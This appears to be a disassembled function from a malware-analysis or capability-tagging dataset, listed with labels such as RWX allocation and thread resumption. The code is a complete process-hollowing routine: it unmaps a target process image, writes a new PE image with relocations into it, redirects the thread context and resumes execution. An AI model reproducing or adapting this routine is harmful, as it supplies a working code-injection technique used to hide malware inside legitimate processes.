Function at 0x4636d6
Capabilities:
Allocate or change rwx memory
Enumerate pe sections
Execute shellcode via indirect call
Inspect section memory permissions
Parse pe header
Resume thread

Disassembly:
push ebp
mov ebp, esp
push esi
push ebx
sub esp, 0x370
mov eax, dword [ebp + 0x18]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x30]
movzx eax, word [eax]
cmp ax, 0x5a4d
je 0x4636fd
mov eax, 0
jmp 0x464056
mov eax, dword [ebp - 0x30]
mov edx, dword [eax + 0x3c]
mov eax, dword [ebp + 0x18]
add eax, edx
mov dword [ebp - 0x74], eax
mov eax, dword [ebp - 0x74]
mov eax, dword [eax]
cmp eax, 0x4550
je 0x463721
mov eax, 0
jmp 0x464056
mov eax, dword [ebp - 0x74]
movzx eax, word [eax + 0x16]
movzx eax, ax
and eax, 0x14c
test eax, eax
jne 0x46373e
mov eax, 0
jmp 0x464056
mov eax, dword [ebp - 0x74]
mov eax, dword [eax + 0x34]
mov dword [ebp - 0x34], eax
mov dword [esp + 8], 0x2cc
mov dword [esp + 4], 0
lea eax, [ebp - 0x340]
mov dword [esp], eax
call sub.msvcrt.dll_memset
mov dword [ebp - 0x340], 0x10002
mov eax, dword [ebp + 0xc]
lea edx, [ebp - 0x340]
mov dword [esp + 4], edx
mov dword [esp], eax
call sub.KERNEL32.dll_GetThreadContext
sub esp, 8
test eax, eax
sete al
test al, al
je 0x46379a
mov eax, 0
jmp 0x464056
mov eax, dword [ebp - 0x29c]
add eax, 8
mov dword [ebp - 0x38], eax
mov eax, dword [ebp + 8]
lea edx, [ebp - 0x344]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 4
lea edx, [ebp - 0x348]
mov dword [esp + 8], edx
mov edx, dword [ebp - 0x38]
mov dword [esp + 4], edx
mov dword [esp], eax
call sub.KERNEL32.dll_ReadProcessMemory
sub esp, 0x14
test eax, eax
sete al
test al, al
je 0x4637ea
mov eax, 0
jmp 0x464056
mov eax, dword [ebp - 0x348]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x34]
cmp dword [ebp - 0x3c], eax
jne 0x463835
mov dword [esp], str.ntdll.dll
call sub.KERNEL32.dll_GetModuleHandleA
sub esp, 4
mov dword [esp + 4], str.NtUnmapViewOfSection
mov dword [esp], eax
call sub.KERNEL32.dll_GetProcAddress
sub esp, 8
mov dword [ebp - 0x40], eax
mov eax, dword [ebp + 8]
mov edx, dword [ebp - 0x3c]
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [ebp - 0x40]
call eax
sub esp, 8
mov eax, dword [ebp - 0x74]
mov ecx, dword [eax + 0x50]
mov edx, dword [ebp - 0x34]
mov eax, dword [ebp + 8]
mov dword [esp + 0x10], 0x40
mov dword [esp + 0xc], 0x3000
mov dword [esp + 8], ecx
mov dword [esp + 4], edx
mov dword [esp], eax
call sub.KERNEL32.dll_VirtualAllocEx
sub esp, 0x14
mov dword [ebp - 0x34c], eax
mov eax, dword [ebp - 0x34c]
test eax, eax
sete al
test al, al
je 0x4638e3
call sub.KERNEL32.dll_GetLastError
cmp eax, 0x1e7
sete al
test al, al
je 0x4638d9
mov eax, dword [ebp - 0x74]
mov edx, dword [eax + 0x50]
mov eax, dword [ebp + 8]
mov dword [esp + 0x10], 0x40
mov dword [esp + 0xc], 0x3000
mov dword [esp + 8], edx
mov dword [esp + 4], 0
mov dword [esp], eax
call sub.KERNEL32.dll_VirtualAllocEx
sub esp, 0x14
mov dword [ebp - 0x34c], eax
mov eax, dword [ebp - 0x34c]
test eax, eax
sete al
test al, al
je 0x4638e3
mov eax, 0
jmp 0x464056
mov eax, 0
jmp 0x464056
mov eax, dword [ebp - 0x34c]
cmp dword [ebp - 0x3c], eax
je 0x463932
mov eax, dword [ebp + 8]
lea edx, [ebp - 0x358]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 4
lea edx, [ebp - 0x34c]
mov dword [esp + 8], edx
mov edx, dword [ebp - 0x38]
mov dword [esp + 4], edx
mov dword [esp], eax
call sub.KERNEL32.dll_WriteProcessMemory
sub esp, 0x14
test eax, eax
sete al
test al, al
je 0x463932
mov eax, 0
jmp 0x464056
mov eax, dword [ebp - 0x74]
mov word [eax + 0x5c], 2
mov edx, dword [ebp - 0x34c]
mov eax, dword [ebp - 0x34]
cmp edx, eax
je 0x463c0d
mov eax, dword [ebp - 0x74]
movzx eax, word [eax + 0x16]
movzx eax, ax
and eax, 1
test eax, eax
je 0x463967
mov eax, 0
jmp 0x464056
mov eax, dword [ebp - 0x74]
mov edx, dword [ebp - 0x34c]
mov dword [eax + 0x34], edx
mov eax, dword [ebp - 0x74]
mov eax, dword [eax + 0xa0]
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x74]
movzx eax, word [eax + 0x14]
movzx eax, ax
mov edx, dword [ebp - 0x74]
add eax, edx
add eax, 0x18
mov dword [ebp - 0x48], eax
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
mov eax, dword [ebp - 0x74]
movzx eax, word [eax + 6]
movzx eax, ax
cmp eax, dword [ebp - 0x10]
jbe 0x463a4c
mov edx, dword [ebp - 0x10]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 3
mov edx, eax
mov eax, dword [ebp - 0x48]
add eax, edx
mov eax, dword [eax + 0xc]
cmp eax, dword [ebp - 0x44]
ja 0x463a43
mov edx, dword [ebp - 0x10]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 3
mov edx, eax
mov eax, dword [ebp - 0x48]
add eax, edx
mov ecx, dword [eax + 0xc]
mov edx, dword [ebp - 0x10]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 3
mov edx, eax
mov eax, dword [ebp - 0x48]
add eax, edx
mov eax, dword [eax + 8]
add eax, ecx
cmp eax, dword [ebp - 0x44]
jbe 0x463a43
mov edx, dword [ebp - 0x10]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 3
mov edx, eax
mov eax, dword [ebp - 0x48]
add eax, edx
mov edx, dword [eax + 0x14]
mov eax, dword [ebp - 0x44]
lea ecx, [edx + eax]
mov edx, dword [ebp - 0x10]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 3
mov edx, eax
mov eax, dword [ebp - 0x48]
add eax, edx
mov eax, dword [eax + 0xc]
sub ecx, eax
mov eax, ecx
mov dword [ebp - 0xc], eax
jmp 0x463a4c
add dword [ebp - 0x10], 1
jmp 0x4639a2
mov edx, dword [ebp + 0x18]
mov eax, dword [ebp - 0xc]
add eax, edx
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x74]
mov eax, dword [eax + 0xa4]
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x14], 0
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0x50]
jae 0x463c0d
mov edx, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x14]
add eax, edx
mov dword [ebp - 0x54], eax
mov eax, dword [ebp - 0x54]
add eax, 8
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x54]
mov eax, dword [eax + 4]
sub eax, 8
shr eax, 1
mov dword [ebp - 0x5c], eax
mov eax, dword [ebp - 0x58]
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x18], 0
mov eax, dword [ebp - 0x18]
cmp eax, dword [ebp - 0x5c]
jae 0x463bff
mov eax, dword [ebp - 0x18]
lea edx, [eax + eax]
mov eax, dword [ebp - 0x60]
add eax, edx
movzx eax, word [eax]
shr ax, 0xc
mov word [ebp - 0x62], ax
mov eax, dword [ebp - 0x18]
lea edx, [eax + eax]
mov eax, dword [ebp - 0x60]
add eax, edx
movzx eax, word [eax]
and ax, 0xfff
mov word [ebp - 0x64], ax
cmp word [ebp - 0x62], 3
je 0x463aef
cmp word [ebp - 0x62], 0xa
jne 0x463bf6
mov eax, dword [ebp - 0x54]
mov edx, dword [eax]
movzx eax, word [ebp - 0x64]
add eax, edx
mov dword [ebp - 0x68], eax
mov eax, dword [ebp - 0x74]
movzx eax, word [eax + 0x14]
movzx eax, ax
mov edx, dword [ebp - 0x74]
add eax, edx
add eax, 0x18
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x20], 0
mov eax, dword [ebp - 0x74]
movzx eax, word [eax + 6]
movzx eax, ax
cmp eax, dword [ebp - 0x20]
jbe 0x463bca
mov edx, dword [ebp - 0x20]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 3
mov edx, eax
mov eax, dword [ebp - 0x48]
add eax, edx
mov eax, dword [eax + 0xc]
cmp eax, dword [ebp - 0x68]
ja 0x463bc1
mov edx, dword [ebp - 0x20]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 3
mov edx, eax
mov eax, dword [ebp - 0x48]
add eax, edx
mov ecx, dword [eax + 0xc]
mov edx, dword [ebp - 0x20]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 3
mov edx, eax
mov eax, dword [ebp - 0x48]
add eax, edx
mov eax, dword [eax + 8]
add eax, ecx
cmp eax, dword [ebp - 0x68]
jbe 0x463bc1
mov edx, dword [ebp - 0x20]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 3
mov edx, eax
mov eax, dword [ebp - 0x48]
add eax, edx
mov edx, dword [eax + 0x14]
mov eax, dword [ebp - 0x68]
lea ecx, [edx + eax]
mov edx, dword [ebp - 0x20]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 3
mov edx, eax
mov eax, dword [ebp - 0x48]
add eax, edx
mov eax, dword [eax + 0xc]
sub ecx, eax
mov eax, ecx
mov dword [ebp - 0x1c], eax
jmp 0x463bca
add dword [ebp - 0x20], 1
jmp 0x463b20
mov edx, dword [ebp + 0x18]
mov eax, dword [ebp - 0x1c]
add eax, edx
mov dword [ebp - 0x6c], eax
mov eax, dword [ebp - 0x6c]
mov eax, dword [eax]
sub eax, dword [ebp - 0x34]
mov edx, eax
mov eax, dword [ebp - 0x6c]
mov dword [eax], edx
mov eax, dword [ebp - 0x6c]
mov eax, dword [eax]
mov edx, dword [ebp - 0x34c]
add edx, eax
mov eax, dword [ebp - 0x6c]
mov dword [eax], edx
add dword [ebp - 0x18], 1
jmp 0x463aa5
mov eax, dword [ebp - 0x54]
mov eax, dword [eax + 4]
add dword [ebp - 0x14], eax
jmp 0x463a6a
mov eax, dword [ebp - 0x74]
mov eax, dword [eax + 0x28]
mov edx, dword [ebp - 0x34c]
add eax, edx
mov dword [ebp - 0x290], eax
mov eax, dword [ebp + 0xc]
lea edx, [ebp - 0x340]
mov dword [esp + 4], edx
mov dword [esp], eax
call sub.KERNEL32.dll_SetThreadContext
sub esp, 8
test eax, eax
sete al
test al, al
je 0x463c4c
mov eax, 0
jmp 0x464056
mov eax, dword [ebp - 0x74]
mov ecx, dword [eax + 0x54]
mov edx, dword [ebp - 0x34c]
mov eax, dword [ebp + 8]
lea ebx, [ebp - 0x350]
mov dword [esp + 0x10], ebx
mov dword [esp + 0xc], ecx
mov ecx, dword [ebp + 0x18]
mov dword [esp + 8], ecx
mov dword [esp + 4], edx
mov dword [esp], eax
call sub.KERNEL32.dll_WriteProcessMemory
sub esp, 0x14
test eax, eax
sete al
test al, al
je 0x463c92
mov eax, 0
jmp 0x464056
mov eax, dword [ebp - 0x74]
mov ecx, dword [eax + 0x54]
mov edx, dword [ebp - 0x34c]
mov eax, dword [ebp + 8]
lea ebx, [ebp - 0x354]
mov dword [esp + 0x10], ebx
mov dword [esp + 0xc], 2
mov dword [esp + 8], ecx
mov dword [esp + 4], edx
mov dword [esp], eax
call sub.KERNEL32.dll_VirtualProtectEx
sub esp, 0x14
test eax, eax
sete al
test al, al
je 0x463cd9
mov eax, 0
jmp 0x464056
mov eax, dword [ebp - 0x30]
mov eax, dword [eax + 0x3c]
mov edx, eax
mov eax, dword [ebp + 0x18]
add eax, edx
add eax, 0xf8
mov dword [ebp - 0x70], eax
mov dword [ebp - 0x24], 0
mov eax, dword [ebp - 0x74]
movzx eax, word [eax + 6]
movzx eax, ax
cmp eax, dword [ebp - 0x24]
jle 0x464032
mov edx, dword [ebp - 0x24]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 3
mov edx, eax
mov eax, dword [ebp - 0x70]
add eax, edx
mov ecx, dword [eax + 0x10]
mov edx, dword [ebp - 0x24]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 3
mov edx, eax
mov eax, dword [ebp - 0x70]
add eax, edx
mov edx, dword [eax + 0x14]
mov eax, dword [ebp + 0x18]
add eax, edx
mov esi, eax
mov edx, dword [ebp - 0x24]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 3
mov edx, eax
mov eax, dword [ebp - 0x70]
add eax, edx
mov eax, dword [eax + 0xc]
mov edx, dword [ebp - 0x34c]
add eax, edx
mov ebx, eax
mov eax, dword [ebp + 8]
lea edx, [ebp - 0x350]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], ecx
mov dword [esp + 8], esi
mov dword [esp + 4], ebx
mov dword [esp], eax
call sub.KERNEL32.dll_WriteProcessMemory
sub esp, 0x14
test eax, eax
sete al
test al, al
je 0x463d95
mov eax, 0
jmp 0x464056
mov dword [ebp - 0x28], 0
mov eax, dword [ebp - 0x74]
movzx eax, word [eax + 6]
movzx eax, ax
sub eax, 1
cmp eax, dword [ebp - 0x24]
jne 0x463dd4
mov eax, dword [ebp - 0x74]
mov ecx, dword [eax + 0x50]
mov edx, dword [ebp - 0x24]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 3
mov edx, eax
mov eax, dword [ebp - 0x70]
add eax, edx
mov eax, dword [eax + 0xc]
sub ecx, eax
mov eax, ecx
mov dword [ebp - 0x28], eax
jmp 0x463e0c
mov eax, dword [ebp - 0x24]
lea edx, [eax + 1]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 3
mov edx, eax
mov eax, dword [ebp - 0x70]
add eax, edx
mov ecx, dword [eax + 0xc]
mov edx, dword [ebp - 0x24]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 3
mov edx, eax
mov eax, dword [ebp - 0x70]
add eax, edx
mov eax, dword [eax + 0xc]
sub ecx, eax
mov eax, ecx
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x2c], 0
mov edx, dword [ebp - 0x24]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 3
mov edx, eax
mov eax, dword [ebp - 0x70]
add eax, edx
mov eax, dword [eax + 0x24]
and eax, 0x20000000
test eax, eax
je 0x463e7a
mov edx, dword [ebp - 0x24]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 3
mov edx, eax
mov eax, dword [ebp - 0x70]
add eax, edx
mov eax, dword [eax + 0x24]
and eax, 0x40000000
test eax, eax
je 0x463e7a
mov edx, dword [ebp - 0x24]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 3
mov edx, eax
mov eax, dword [ebp - 0x70]
add eax, edx
mov eax, dword [eax + 0x24]
test eax, eax
jns 0x463e7a
mov dword [ebp - 0x2c], 0x40
jmp 0x463fce
mov edx, dword [ebp - 0x24]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 3
mov edx, eax
mov eax, dword [ebp - 0x70]
add eax, edx
mov eax, dword [eax + 0x24]
and eax, 0x20000000
test eax, eax
je 0x463ec6
mov edx, dword [ebp - 0x24]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 3
mov edx, eax
mov eax, dword [ebp - 0x70]
add eax, edx
mov eax, dword [eax + 0x24]
and eax, 0x40000000
test eax, eax
je 0x463ec6
mov dword [ebp - 0x2c], 0x20
jmp 0x463fce
mov edx, dword [ebp - 0x24]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 3
mov edx, eax
mov eax, dword [ebp - 0x70]
add eax, edx
mov eax, dword [eax + 0x24]
and eax, 0x20000000
test eax, eax
je 0x463f0d
mov edx, dword [ebp - 0x24]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 3
mov edx, eax
mov eax, dword [ebp - 0x70]
add eax, edx
mov eax, dword [eax + 0x24]
test eax, eax
jns 0x463f0d
mov dword [ebp - 0x2c], pe_nt_image_headers32
jmp 0x463fce
mov edx, dword [ebp - 0x24]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 3
mov edx, eax
mov eax, dword [ebp - 0x70]
add eax, edx
mov eax, dword [eax + 0x24]
and eax, 0x40000000
test eax, eax
je 0x463f51
mov edx, dword [ebp - 0x24]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 3
mov edx, eax
mov eax, dword [ebp - 0x70]
add eax, edx
mov eax, dword [eax + 0x24]
test eax, eax
jns 0x463f51
mov dword [ebp - 0x2c], 4
jmp 0x463fce
mov edx, dword [ebp - 0x24]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 3
mov edx, eax
mov eax, dword [ebp - 0x70]
add eax, edx
mov eax, dword [eax + 0x24]
and eax, 0x20000000
test eax, eax
je 0x463f7a
mov dword [ebp - 0x2c], 0x10
jmp 0x463fce
mov edx, dword [ebp - 0x24]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 3
mov edx, eax
mov eax, dword [ebp - 0x70]
add eax, edx
mov eax, dword [eax + 0x24]
and eax, 0x40000000
test eax, eax
je 0x463fa3
mov dword [ebp - 0x2c], 2
jmp 0x463fce
mov edx, dword [ebp - 0x24]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 3
mov edx, eax
mov eax, dword [ebp - 0x70]
add eax, edx
mov eax, dword [eax + 0x24]
test eax, eax
jns 0x463fc7
mov dword [ebp - 0x2c], 8
jmp 0x463fce
mov dword [ebp - 0x2c], 1
mov edx, dword [ebp - 0x24]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 3
mov edx, eax
mov eax, dword [ebp - 0x70]
add eax, edx
mov eax, dword [eax + 0xc]
mov edx, dword [ebp - 0x34c]
add eax, edx
mov ecx, eax
mov eax, dword [ebp + 8]
lea edx, [ebp - 0x354]
mov dword [esp + 0x10], edx
mov edx, dword [ebp - 0x2c]
mov dword [esp + 0xc], edx
mov edx, dword [ebp - 0x28]
mov dword [esp + 8], edx
mov dword [esp + 4], ecx
mov dword [esp], eax
call sub.KERNEL32.dll_VirtualProtectEx
sub esp, 0x14
test eax, eax
sete al
test al, al
je 0x464029
mov eax, 0
jmp 0x464056
add dword [ebp - 0x24], 1
jmp 0x463cf5
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call sub.KERNEL32.dll_ResumeThread
sub esp, 4
cmp eax, 0xffffffff
sete al
test al, al
je 0x464051
mov eax, 0
jmp 0x464056
mov eax, 1
lea esp, [ebp - 8]
pop ebx
pop esi
pop ebp
ret